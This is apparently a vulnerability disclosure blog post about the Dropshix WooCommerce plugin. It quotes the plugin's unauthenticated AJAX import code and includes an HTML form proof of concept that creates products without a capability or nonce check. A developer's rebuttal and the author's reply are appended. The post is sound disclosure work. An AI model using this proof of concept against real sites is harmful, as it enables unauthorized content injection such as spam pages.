Is a Hacker Targeting the WordPress Plugin Dropshix To Put Spam Pages on Websites?
In a continuation of our recent running across of plugins that work WooCommerce being insecure and in many cases being targeted by hackers, we had what appears to be a hacker probing for usage of the plugin Dropshix, which has the slogan “WooCommerce + Dropshipping Made Simple”, on our website recently and in looking over the plugin we found much of its admin functionality is insecure. These continuing problems are good reminder of the security risk surrounding plugins that extend WooCommerce functionality. Our main service can keep you alerted to publicly known vulnerabilities whether they are things we find because hackers are targeting them or otherwise disclosed. We also offer security reviews so that you can get the security of the plugins you use reviewed before hackers might come across vulnerabilities in them.
What we are still not sure what of that a hacker might be targeting, since some limited security in place rules out obvious issues and there is so much that is insecure that it makes it hard to narrow things down. One possibility is that they are abusing the insecurity of importing new products in to WooCommerce to create spam pages, which is a common thing done by hackers, though usually that is done after taking control of a website through a vulnerability instead of creating them directly through a vulnerability.
Where the insecurity starts with the admin functionality is that everything that runs through WordPress’ AJAX functionality is accessible even by those not logged in to WordPress:
296 297 | add_action( 'wp_ajax_Xox_Import_Item', 'xoxImportItem' ); add_action( 'wp_ajax_nopriv_Xox_Import_Item', 'xoxImportItem' ); |
That may be due to an insecure design structure for how this plugin interacts with a web application, we didn’t look too closely at the plugin’s intended work flow.
The function for that product import functionality, xoxImportItem(), which is located in the file /dropshipping-xox.php, will generate a new WooCommerce product based on user input sent with the request:
248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 | function xoxImportItem() { //global $wpdb; // this is how you get access to the database if( isset( $_POST['title'] ) && isset( $_POST['description'] ) && isset( $_POST['id'] ) ) { $data['title'] = sanitize_text_field( strval( $_POST['title'] )); $data['description'] = wp_kses_post( $_POST['description'] ); $data['source'] = sanitize_text_field( strval( $_POST['source'] )); $id = sanitize_text_field( strval( $_POST['id'] )); $plugin = new Dropshipping_Xox(); $return = $plugin->importProduct( $id, $data ); echo $return; }else{ $data['status'] = false; $data['msg'] = 'Error: Missing important data!'; return json_encode( $data ); } wp_die(); } |
There is not a capabilities check or a nonce check to prevent cross-site request forgery (CSRF) before doing that.
There is sanitization done, so the possibility cross-site scripting (XSS) is limited at least.
The address of the new product is included in the response.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will create a new WooCommerce with the title and description “Test”.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=Xox_Import_Item" method="POST"> <input type="hidden" name="title" value="Test" /> <input type="hidden" name="description" value='Test' /> <input type="hidden" name="id" value="1" /> <input type="submit" value="Submit" /> </form> </body> </html>
Hello there,
I am DROPSHIX plugin developer team leader, we have just been notified by WordPress about this article. But your forum there, we don’t have access to. What you’re saying here is understandable if you look from that perspective. But you have to take a look at the deeper function when it calls to our cloud server where inputs are being checked for CSRF. The AJAX function there is following WordPress guideline about performing an AJAX function. Your “proof of concept” is interesting, but it’s also not accurate because the form is using post and only will be able to execute using post. If that’s the case, then all plugins extending WooCommerce function will have the same issue.
We really appreciate your concern, but here is our justification:
1. Kindly notice the condition “if(isset($_POST[‘title’] …”, even though it will work with your example it won’t be processed by our plugin. So using GET method will not work.
2. There is a function before that function executed in our plugin. That prevents your example to be executed.
Nevertheless, we are open for your or any users input if the vulnerabilities you mentioned really threatening and are being exploited by hackers. We would like to have further discussion and a more thorough test result to see if we can fix your concern about the issue properly according to your standard.
Thanks.
As was mentioned in the post, a hacker is probing for usage of the plugin, so presumably there is a vulnerability they are looking to exploit.
The proof of concept works and is specific to your plugin, not a general issue related to using POST input with WooCommerce extending plugins.
1. We didn’t say anything about using GET input in our post, so we don’t know what you are talking about.
2. The proof of concept we provided works and there isn’t anything that runs before the code we showed.